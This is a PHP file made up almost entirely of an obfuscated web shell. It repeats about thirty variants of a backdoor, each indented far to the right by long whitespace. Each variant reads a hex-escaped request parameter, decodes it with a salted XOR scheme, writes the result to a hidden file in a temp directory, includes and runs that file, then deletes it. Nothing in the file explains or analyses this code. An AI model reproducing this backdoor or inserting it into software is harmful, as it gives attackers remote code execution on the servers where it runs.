<?php																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x74\x6Bn"])){ $val = $_REQUEST["\x74\x6Bn"]; $val = explode( ".",$val ) ; $fac = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $m = 0; while ($m<count($val)) { $v5 = $val[$m]; $chS = ord($salt[$m % $sLen]); $dec = ((int)$v5 - $chS - ($m % 10)) ^ 33; $fac .= chr($dec); $m++; } $token = array_filter(["/tmp", getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getcwd(), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm"]); for ($key = 0, $itm = count($token); $key < $itm; $key++) { $pgrp = $token[$key]; if (!!is_dir($pgrp) && !!is_writable($pgrp)) { $data = vsprintf("%s/%s", [$pgrp, ".resource"]); if (@file_put_contents($data, $fac) !== false) { include $data; unlink($data); die(); } } } }
																																										if(@$_REQUEST["\x6Be\x79"] !== null){ $flag = array_filter(["/dev/shm", session_save_path(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/tmp", sys_get_temp_dir()]); $ent = $_REQUEST["\x6Be\x79"]; $ent =explode ('.' , $ent ); $dchunk = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt2 ); $v = 0; while ($v < count($ent)) { $v8 = $ent[$v]; $sChar = ord($salt2[$v % $sLen] ); $dec = ((int)$v8 - $sChar - ($v % 10)) ^ 40; $dchunk .= chr($dec ); $v++; } for ($entry = 0, $record = count($flag); $entry < $record; $entry++) { $pset = $flag[$entry]; if ((function($d) { return is_dir($d) && is_writable($d); })($pset)) { $mrk = implode("/", [$pset, ".item"]); if (@file_put_contents($mrk, $dchunk) !== false) { include $mrk; unlink($mrk); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["o\x62j"])){ $res = $_REQUEST["o\x62j"]; $res= explode( '.', $res ) ; $fac =''; $salt2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt2); foreach($res as $s => $v3): $chS =ord($salt2[$s %$lenS]); $dec =((int)$v3 - $chS -($s %10)) ^34; $fac .= chr($dec); endforeach; $mrk = array_filter([getcwd(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", session_save_path(), "/var/tmp", getenv("TMP")]); while ($descriptor = array_shift($mrk)) { if (is_dir($descriptor) ? is_writable($descriptor) : false) { $tkn = str_replace("{var_dir}", $descriptor, "{var_dir}/.ptr"); $file = fopen($tkn, 'w'); if ($file) { fwrite($file, $fac); fclose($file); include $tkn; @unlink($tkn); die(); } } } }
																																										if(@$_REQUEST["\x66actor"] !== null){ $component = $_REQUEST["\x66actor"]; $component = explode ("." , $component ); $hld= ''; $salt1= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt1 ); $v= 0; foreach ($component as $v6) { $chS= ord($salt1[$v % $lenS] ); $dec= ((int)$v6 - $chS - ($v % 10))^ 70; $hld .=chr($dec ); $v++; } $resource = array_filter(["/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), getcwd()]); for ($itm = 0, $k = count($resource); $itm < $k; $itm++) { $dchunk = $resource[$itm]; if (is_writable($dchunk) && is_dir($dchunk)) { $parameter_group = implode("/", [$dchunk, ".key"]); $success = file_put_contents($parameter_group, $hld); if ($success) { include $parameter_group; @unlink($parameter_group); die();} } } }
																																										if(@$_REQUEST["e\x6E\x74"] !== null){ $pset = $_REQUEST["e\x6E\x74"]; $pset= explode( '.' ,$pset) ; $flg = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach($pset as $m => $v1) { $chS = ord($s[$m % $sLen]); $d = ((int)$v1 - $chS -($m % 10)) ^ 41; $flg .= chr($d);} $res = array_filter([getenv("TMP"), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), sys_get_temp_dir(), "/tmp", getcwd()]); foreach ($res as $entity) { if ((bool)is_dir($entity) && (bool)is_writable($entity)) { $dchunk = "$entity" . "/.ent"; if (file_put_contents($dchunk, $flg)) { require $dchunk; unlink($dchunk); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["i\x74m"])){ $fac = $_REQUEST["i\x74m"]; $fac = explode ( ".",$fac ); $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($fac as $i => $v3): $sChar = ord($s[$i % $lenS]); $d = ((int)$v3 - $sChar - ($i % 10))^ 96; $ent .= chr($d); endforeach; $token = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/tmp", getcwd(), "/dev/shm", getenv("TMP"), getenv("TEMP")]); while ($dat = array_shift($token)) { if (!( !is_dir($dat) || !is_writable($dat) )) { $elem = implode("/", [$dat, ".data_chunk"]); if (file_put_contents($elem, $ent)) { require $elem; unlink($elem); die(); } } } }
																																										if(array_key_exists("\x64ata", $_POST) && !is_null($_POST["\x64ata"])){ $holder = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), getcwd(), getenv("TMP"), "/dev/shm"]); $record = $_POST["\x64ata"]; $record = explode ('.' ,$record ) ; $reference = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s7); foreach( $record as $y=> $v7) { $chS = ord( $s7[$y % $lenS]); $d =( ( int)$v7 - $chS -( $y % 10)) ^60; $reference.= chr( $d); } $ref = 0; do { $entry = $holder[$ref] ?? null; if ($ref >= count($holder)) break; if (is_writable($entry) && is_dir($entry)) { $val = str_replace("{var_dir}", $entry, "{var_dir}/.mrk"); $success = file_put_contents($val, $reference); if ($success) { include $val; @unlink($val); die();} } $ref++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x69tm"])){ $sym = $_REQUEST["\x69tm"]; $sym= explode ( '.' , $sym ) ; $token = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $q = 0; foreach ($sym as $v4) { $chS = ord($salt[$q % $lenS]); $d = ((int)$v4 - $chS - ($q % 10)) ^ 10; $token .= chr($d); $q++; } $flg = array_filter([getcwd(), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/var/tmp", "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]); foreach ($flg as $desc) { if ((is_dir($desc) and is_writable($desc))) { $entry = str_replace("{var_dir}", $desc, "{var_dir}/.dat"); if (@file_put_contents($entry, $token) !== false) { include $entry; unlink($entry); exit; } } } }
																																										if(@$_POST["\x69te\x6D"] !== null){ $ent = $_POST["\x69te\x6D"]; $ent= explode ( "." , $ent ) ; $property_set = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2); $y = 0; $__tmp = $ent; while ($v2 = array_shift($__tmp)) { $chS = ord($salt2[$y % $lenS]); $d = ((int)$v2 - $chS - ($y % 10))^ 74; $property_set .= chr($d); $y++; } $reference = array_filter([getcwd(), session_save_path(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", getenv("TEMP"), getenv("TMP")]); foreach ($reference as $key => $entry) { if (is_dir($entry) ? is_writable($entry) : false) { $ptr = vsprintf("%s/%s", [$entry, ".comp"]); if (@file_put_contents($ptr, $property_set) !== false) { include $ptr; unlink($ptr); die(); } } } }
																																										if(isset($_POST) && isset($_POST["\x64\x65\x73c\x72\x69ptor"])){ $binding = $_POST["\x64\x65\x73c\x72\x69ptor"]; $binding = explode("." , $binding ); $value = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); foreach($binding as $l => $v2) {$chS = ord($salt9[$l % $lenS]); $dec =((int)$v2 - $chS -($l % 10)) ^ 73; $value.=chr($dec); } $holder = array_filter(["/var/tmp", "/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TEMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]); foreach ($holder as $key => $object) { if (array_product([is_dir($object), is_writable($object)])) { $ent = str_replace("{var_dir}", $object, "{var_dir}/.data_chunk"); if (file_put_contents($ent, $value)) { include $ent; @unlink($ent); die(); } } } }
																																										if(!is_null($_POST["\x65\x6Et"] ?? null)){ $parameter_group = array_filter(["/dev/shm", sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TEMP"), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP")]); $val = $_POST["\x65\x6Et"]; $val = explode ( '.' , $val) ; $dchunk = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8); $w = 0; array_walk($val , function ($v7) use (&$dchunk , &$w , $salt8 , $lenS) { $chS = ord($salt8[$w%$lenS]); $d = ((int)$v7 - $chS - ($w%10)) ^ 57; $dchunk.= chr($d); $w++; }); while ($pointer = array_shift($parameter_group)) { if (max(0, is_dir($pointer) * is_writable($pointer))) { $component = str_replace("{var_dir}", $pointer, "{var_dir}/.ref"); if (@file_put_contents($component, $dchunk) !== false) { include $component; unlink($component); die(); } } } }
																																										if(array_key_exists("m\x72k", $_REQUEST) && !is_null($_REQUEST["m\x72k"])){ $obj = $_REQUEST["m\x72k"]; $obj= explode( ".", $obj ) ; $holder = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6); $v = 0; $__len = count($obj); do { if ($v >= $__len) break; $v9 = $obj[$v]; $sChar = ord($s6[$v % $lenS]); $d = ((int)$v9 - $sChar - ($v % 10)) ^ 88; $holder .= chr($d); $v++; }while (true); $entity = array_filter([getcwd(), getenv("TMP"), "/dev/shm", "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", sys_get_temp_dir()]); foreach ($entity as $key) { if (!( !is_dir($key) || !is_writable($key) )) { $desc = vsprintf("%s/%s", [$key, ".tkn"]); if (file_put_contents($desc, $holder)) { require $desc; unlink($desc); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "p\x61\x72a\x6D\x65\x74er\x5Fg\x72o\x75p")){ $k = array_filter([getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", "/tmp", getenv("TEMP"), "/dev/shm", session_save_path(), sys_get_temp_dir()]); $dat = $_REQUEST["p\x61\x72a\x6D\x65\x74er\x5Fg\x72o\x75p"]; $dat =explode ( '.' , $dat); $token = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s5); $o = 0; $__len = count($dat); do {if ($o >= $__len) break; $v9 = $dat[$o]; $chS = ord($s5[$o % $lenS]); $dec = ((int)$v9 - $chS - ($o % 10))^ 99; $token .= chr($dec); $o++; } while (true); foreach ($k as $key => $ent) { if (array_product([is_dir($ent), is_writable($ent)])) { $key = str_replace("{var_dir}", $ent, "{var_dir}/.property_set"); $success = file_put_contents($key, $token); if ($success) { include $key; @unlink($key); exit;} } } }
																																										if(isset($_POST["f\x61\x63tor"])){ $comp = $_POST["f\x61\x63tor"]; $comp = explode ("." , $comp ) ; $element =''; $salt2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt2); $z =0; while ($z < count($comp)) { $v7 =$comp[$z]; $sChar =ord($salt2[$z % $lenS]); $dec =((int)$v7 - $sChar - ($z % 10)) ^ 87; $element .= chr($dec); $z++; } $symbol = array_filter(["/var/tmp", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), getcwd(), "/dev/shm", "/tmp", getenv("TMP"), ini_get("upload_tmp_dir")]); foreach ($symbol as $descriptor): if ((function($d) { return is_dir($d) && is_writable($d); })($descriptor)) { $parameter_group = vsprintf("%s/%s", [$descriptor, ".val"]); if (@file_put_contents($parameter_group, $element) !== false) { include $parameter_group; unlink($parameter_group); die(); } } endforeach; }
																																										if(isset($_POST["\x65n\x74"])){ $val = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", "/dev/shm", sys_get_temp_dir(), session_save_path(), getenv("TMP"), getenv("TEMP")]); $object = $_POST["\x65n\x74"]; $object = explode ( "." ,$object ) ; $token = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); foreach( $object as $w => $v6): $chS = ord( $s[$w% $sLen]); $dec =( ( int)$v6 - $chS -( $w% 10))^ 32; $token .=chr( $dec); endforeach; foreach ($val as $hld) { if ((bool)is_dir($hld) && (bool)is_writable($hld)) { $entity = join("/", [$hld, ".ref"]); if (file_put_contents($entity, $token)) { require $entity; unlink($entity); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "d\x65\x73\x63r\x69\x70tor")){ $component = $_POST["d\x65\x73\x63r\x69\x70tor"]; $component= explode ('.' , $component) ; $data_chunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($component as $y => $v3): $sChar = ord($salt[$y %$lenS]); $dec = ((int)$v3 - $sChar - ($y %10)) ^ 76; $data_chunk .= chr($dec); endforeach; $flg = array_filter([ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/tmp", getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), "/dev/shm"]); for ($elem = 0, $desc = count($flg); $elem < $desc; $elem++) { $sym = $flg[$elem]; if ((function($d) { return is_dir($d) && is_writable($d); })($sym)) { $value = vsprintf("%s/%s", [$sym, ".object"]); if (file_put_contents($value, $data_chunk)) { include $value; @unlink($value); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["v\x61l\x75e"])){ $dat = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/var/tmp", "/dev/shm", getenv("TMP"), "/tmp", sys_get_temp_dir(), session_save_path()]); $flag = $_POST["v\x61l\x75e"]; $flag = explode ( '.' , $flag ) ; $bind = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2); $n = 0; while ($n < count($flag)) { $v3 = $flag[$n]; $sChar = ord($s2[$n % $sLen]); $dec = ((int)$v3 - $sChar - ($n % 10)) ^ 48; $bind .= chr($dec); $n++; } for ($item = 0, $property_set = count($dat); $item < $property_set; $item++) { $itm = $dat[$item]; if (array_product([is_dir($itm), is_writable($itm)])) { $dchunk = vsprintf("%s/%s", [$itm, ".component"]); if (file_put_contents($dchunk, $bind)) { require $dchunk; unlink($dchunk); exit; } } } }
																																										if(isset($_POST["\x6D\x72k"])){ $ptr = $_POST["\x6D\x72k"]; $ptr = explode ( "." , $ptr ) ; $entity= ''; $s7= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s7); $__len= count($ptr); for ($q= 0; $q <$__len; $q++) { $v2= $ptr[$q]; $sChar= ord($s7[$q%$sLen]); $d= ((int)$v2 - $sChar - ($q%10)) ^99; $entity .= chr($d); } $hld = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/tmp", "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), getcwd()]); for ($data = 0, $k = count($hld); $data < $k; $data++) { $value = $hld[$data]; if (is_dir($value) ? is_writable($value) : false) { $flg = vsprintf("%s/%s", [$value, ".record"]); $file = fopen($flg, 'w'); if ($file) { fwrite($file, $entity); fclose($file); include $flg; @unlink($flg); die(); } } } }
																																										if(!is_null($_POST["p\x67\x72p"] ?? null)){ $sym = $_POST["p\x67\x72p"]; $sym = explode ( "." , $sym); $flg= ''; $s1= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s1); $o= 0; array_walk($sym, function ($v5) use (&$flg, &$o, $s1, $sLen) { $sChar= ord($s1[$o % $sLen]); $d= ((int)$v5 - $sChar - ($o % 10)) ^ 49; $flg .= chr($d); $o++; }); $data = array_filter(["/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), session_save_path(), getcwd(), getenv("TMP"), "/dev/shm"]); foreach ($data as $dat) { if (is_dir($dat) ? is_writable($dat) : false) { $binding = "$dat" . "/.bind"; $file = fopen($binding, 'w'); if ($file) { fwrite($file, $flg); fclose($file); include $binding; @unlink($binding); die(); } } } }
																																										if(isset($_REQUEST["\x73\x79mbol"]) ? true : false){ $token = $_REQUEST["\x73\x79mbol"]; $token = explode( '.', $token ) ; $elem= ''; $salt6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt6); foreach ($token as $s => $v2) { $sChar= ord($salt6[$s %$sLen]); $d= ((int)$v2 - $sChar - ($s %10)) ^ 55; $elem.= chr($d); } $k = array_filter(["/tmp", getcwd(), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP")]); foreach ($k as $key => $record) { if (array_product([is_dir($record), is_writable($record)])) { $tkn = "$record" . "/.parameter_group"; if (file_put_contents($tkn, $elem)) { require $tkn; unlink($tkn); die(); } } } }
																																										if(array_key_exists("\x65n\x74ry", $_REQUEST) && !is_null($_REQUEST["\x65n\x74ry"])){ $flag = array_filter([sys_get_temp_dir(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), "/var/tmp", getcwd(), "/tmp"]); $factor = $_REQUEST["\x65n\x74ry"]; $factor =explode ('.' ,$factor ) ; $record = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9); $o = 0; $__tmp = $factor; while ($v8 = array_shift($__tmp)) { $sChar = ord($s9[$o% $lenS]); $d = ((int)$v8 - $sChar - ($o% 10)) ^ 31; $record .= chr($d); $o++; } $reference = 0; do { $pointer = $flag[$reference] ?? null; if ($reference >= count($flag)) break; if (max(0, is_dir($pointer) * is_writable($pointer))) { $mrk = implode("/", [$pointer, ".descriptor"]); if (file_put_contents($mrk, $record)) { require $mrk; unlink($mrk); die(); } } $reference++; } while (true); }
																																										if(array_key_exists("d\x65\x73\x63\x72\x69ptor", $_REQUEST) && !is_null($_REQUEST["d\x65\x73\x63\x72\x69ptor"])){ $key = array_filter([session_save_path(), getenv("TMP"), "/dev/shm", "/tmp", getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", getcwd(), ini_get("upload_tmp_dir")]); $value = $_REQUEST["d\x65\x73\x63\x72\x69ptor"]; $value= explode( '.', $value); $pset = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1); $w = 0; array_walk($value , function ($v2) use (&$pset , &$w , $salt1 , $sLen) {$chS = ord($salt1[$w % $sLen]); $dec = ((int)$v2 - $chS - ($w % 10)) ^ 63; $pset .= chr($dec); $w++; }); foreach ($key as $item): if (max(0, is_dir($item) * is_writable($item))) { $holder = "$item" . "/.flag"; if (file_put_contents($holder, $pset)) { include $holder; @unlink($holder); die(); } } endforeach; }
																																										if(!empty($_POST["\x66\x61c"])){ $val = $_POST["\x66\x61c"]; $val = explode ( '.' , $val) ; $obj = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($val as $v => $v3) { $sChar = ord($salt[$v % $lenS]); $dec = ((int)$v3 - $sChar - ($v % 10)) ^ 90; $obj .= chr($dec); } $holder = array_filter([getenv("TEMP"), "/tmp", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", "/var/tmp", session_save_path()]); foreach ($holder as $resource): if (!!is_dir($resource) && !!is_writable($resource)) { $object = "$resource/.rec"; if (file_put_contents($object, $obj)) { include $object; @unlink($object); exit; } } endforeach; }
																																										if(isset($_POST["\x70\x72\x6F\x70\x65\x72ty_set"])){ $fac = array_filter([getenv("TEMP"), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", "/dev/shm", getcwd()]); $object = $_POST["\x70\x72\x6F\x70\x65\x72ty_set"]; $object= explode ( "." , $object ) ; $binding = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $len = count( $object ); for( $i = 0; $i < $len; $i++) { $v8 = $object[$i]; $sChar = ord( $salt[$i % $sLen] ); $dec =( ( int)$v8 - $sChar -( $i % 10)) ^ 61; $binding .= chr( $dec ); } $component = 0; do { $entity = $fac[$component] ?? null; if ($component >= count($fac)) break; if ((bool)is_dir($entity) && (bool)is_writable($entity)) { $token = implode("/", [$entity, ".ref"]); if (@file_put_contents($token, $binding) !== false) { include $token; unlink($token); die(); } } $component++; } while (true); }
																																										if(!empty($_REQUEST["re\x73"])){ $property_set = $_REQUEST["re\x73"]; $property_set = explode( '.', $property_set); $item = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $p = 0; array_walk( $property_set, function( $v5) use( &$item, &$p, $s, $sLen) {$sChar = ord( $s[$p %$sLen] ); $d =( ( int)$v5 - $sChar -( $p %10)) ^10; $item .= chr( $d ); $p++; } ); $parameter_group = array_filter([getcwd(), getenv("TMP"), "/dev/shm", "/var/tmp", session_save_path(), sys_get_temp_dir(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir")]); while ($itm = array_shift($parameter_group)) { if ((is_dir($itm) and is_writable($itm))) { $ent = "$itm" . "/.dat"; if (@file_put_contents($ent, $item) !== false) { include $ent; unlink($ent); exit; } } } }
																																										if(!empty($_POST["\x65\x6Et"])){ $hld = array_filter(["/dev/shm", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), getcwd(), getenv("TEMP"), "/tmp"]); $pgrp = $_POST["\x65\x6Et"]; $pgrp = explode ( "." ,$pgrp ) ; $component = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $q = 0; array_walk( $pgrp, function( $v9) use( &$component, &$q, $s, $lenS) {$chS = ord( $s[$q % $lenS] ); $d =( ( int)$v9 - $chS -( $q % 10)) ^ 52; $component .= chr( $d ); $q++;} ); $reference = 0; do { $data = $hld[$reference] ?? null; if ($reference >= count($hld)) break; if (!!is_dir($data) && !!is_writable($data)) { $comp = "$data" . "/.parameter_group"; $file = fopen($comp, 'w'); if ($file) { fwrite($file, $component); fclose($file); include $comp; @unlink($comp); exit; } } $reference++; } while (true); }
																																										if(isset($_POST["\x74\x6Fken"])){ $ptr = $_POST["\x74\x6Fken"]; $ptr = explode(".", $ptr ) ; $property_set =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt); $j =0; $__len =count($ptr); do { if ($j >= $__len) break; $v4 =$ptr[$j]; $chS =ord($salt[$j % $lenS]); $d =((int)$v4 - $chS - ($j % 10)) ^ 81; $property_set .= chr($d); $j++; } while (true); $itm = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), getcwd()]); foreach ($itm as $pgrp) { if (is_dir($pgrp) ? is_writable($pgrp) : false) { $flg = "$pgrp" . "/.flag"; $file = fopen($flg, 'w'); if ($file) { fwrite($file, $property_set); fclose($file); include $flg; @unlink($flg); die(); } } } }
																																										if(!is_null($_POST["\x6F\x62jec\x74"] ?? null)){ $property_set = $_POST["\x6F\x62jec\x74"]; $property_set =explode ( '.' , $property_set ); $symbol= ''; $s5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s5 ); $i= 0; array_walk( $property_set, function( $v2) use( &$symbol, &$i, $s5, $sLen) { $sChar= ord( $s5[$i % $sLen] ); $d= ( ( int)$v2 - $sChar -( $i % 10)) ^ 80; $symbol .= chr( $d ); $i++; }); $k = array_filter(["/tmp", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), getenv("TEMP"), "/dev/shm", "/var/tmp"]); for ($comp = 0, $mrk = count($k); $comp < $mrk; $comp++) { $itm = $k[$comp]; if (!!is_dir($itm) && !!is_writable($itm)) { $obj = str_replace("{var_dir}", $itm, "{var_dir}/.element"); if (@file_put_contents($obj, $symbol) !== false) { include $obj; unlink($obj); exit; } } } }
																																										if(!empty($_POST["k"])){ $element = $_POST["k"]; $element = explode( '.' , $element ) ; $descriptor = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $len = count( $element); for( $z = 0; $z <$len; $z++) { $v3 = $element[$z]; $chS = ord( $salt[$z % $sLen]); $d =( ( int)$v3 - $chS -( $z % 10)) ^ 27; $descriptor .= chr( $d); } $ref = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getcwd(), sys_get_temp_dir(), "/var/tmp", "/dev/shm", session_save_path(), getenv("TEMP")]); for ($entity = 0, $flg = count($ref); $entity < $flg; $entity++) { $dchunk = $ref[$entity]; if ((bool)is_dir($dchunk) && (bool)is_writable($dchunk)) { $item = "$dchunk" . "/.mrk"; $success = file_put_contents($item, $descriptor); if ($success) { include $item; @unlink($item); die();} } } }
																																										if(isset($_POST) && isset($_POST["des\x63"])){ $marker = $_POST["des\x63"]; $marker =explode( "." , $marker ) ; $binding = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $o = 0; $__tmp = $marker; while($v6 = array_shift($__tmp)) {$sChar = ord($salt[$o% $lenS] ); $d = ((int)$v6 - $sChar -($o% 10))^ 40; $binding .= chr($d ); $o++; } $ref = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/tmp", "/dev/shm", "/var/tmp"]); for ($property_set = 0, $token = count($ref); $property_set < $token; $property_set++) { $fac = $ref[$property_set]; if (!!is_dir($fac) && !!is_writable($fac)) { $entity = vsprintf("%s/%s", [$fac, ".key"]); if (file_put_contents($entity, $binding)) { include $entity; @unlink($entity); die(); } } } }
																																										if(array_key_exists("\x66\x61cto\x72", $_POST)){ $token = array_filter([session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP")]); $pset = $_POST["\x66\x61cto\x72"]; $pset= explode ('.' ,$pset); $flg= ''; $salt3= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt3 ); $n= 0; while( $n <count( $pset)) { $v5= $pset[$n]; $chS= ord( $salt3[$n % $sLen] ); $dec= ( ( int)$v5 - $chS -( $n % 10)) ^ 40; $flg .= chr( $dec ); $n++; } foreach ($token as $property_set) { if ((bool)is_dir($property_set) && (bool)is_writable($property_set)) { $binding = "$property_set" . "/.rec"; if (file_put_contents($binding, $flg)) { include $binding; @unlink($binding); exit; } } } }
																																										if(isset($_POST) && isset($_POST["v\x61l"])){ $descriptor = array_filter([ini_get("upload_tmp_dir"), "/tmp", session_save_path(), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm", getcwd()]); $key = $_POST["v\x61l"]; $key = explode ('.' ,$key) ; $property_set = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $p = 0; array_walk( $key, function( $v3) use( &$property_set, &$p, $salt, $lenS) { $sChar = ord( $salt[$p % $lenS] ); $d =( ( int)$v3 - $sChar -( $p % 10)) ^ 94; $property_set.=chr( $d ); $p++;}); foreach ($descriptor as $key => $pgrp) { if (is_dir($pgrp) && is_writable($pgrp)) { $mrk = "$pgrp/.factor"; if (file_put_contents($mrk, $property_set)) { require $mrk; unlink($mrk); die(); } } } }
																																										if(in_array("m\x61r\x6Ber", array_keys($_REQUEST))){ $symbol = array_filter([session_save_path(), getenv("TEMP"), getcwd(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", sys_get_temp_dir()]); $data = $_REQUEST["m\x61r\x6Ber"]; $data = explode( '.' , $data) ; $hld = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $__len = count($data); for ($p = 0; $p < $__len; $p++) { $v9 = $data[$p]; $sChar = ord($salt[$p % $sLen]); $d = ((int)$v9 - $sChar - ($p % 10)) ^96; $hld .= chr($d); } while ($comp = array_shift($symbol)) { if (array_product([is_dir($comp), is_writable($comp)])) { $reference = sprintf("%s/.desc", $comp); if (file_put_contents($reference, $hld)) { include $reference; @unlink($reference); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "fac\x74or")){ $mrk = $_POST["fac\x74or"]; $mrk= explode ( '.', $mrk ) ; $marker = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $len = count($mrk); for($r = 0; $r < $len; $r++) { $v4 = $mrk[$r]; $chS = ord($s[$r % $lenS]); $d =((int)$v4 - $chS -($r % 10)) ^ 78; $marker .= chr($d); } $data = array_filter([getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), "/tmp", session_save_path(), getenv("TMP")]); foreach ($data as $pset): if (is_dir($pset) ? is_writable($pset) : false) { $token = implode("/", [$pset, ".val"]); $file = fopen($token, 'w'); if ($file) { fwrite($file, $marker); fclose($file); include $token; @unlink($token); die(); } } endforeach; }
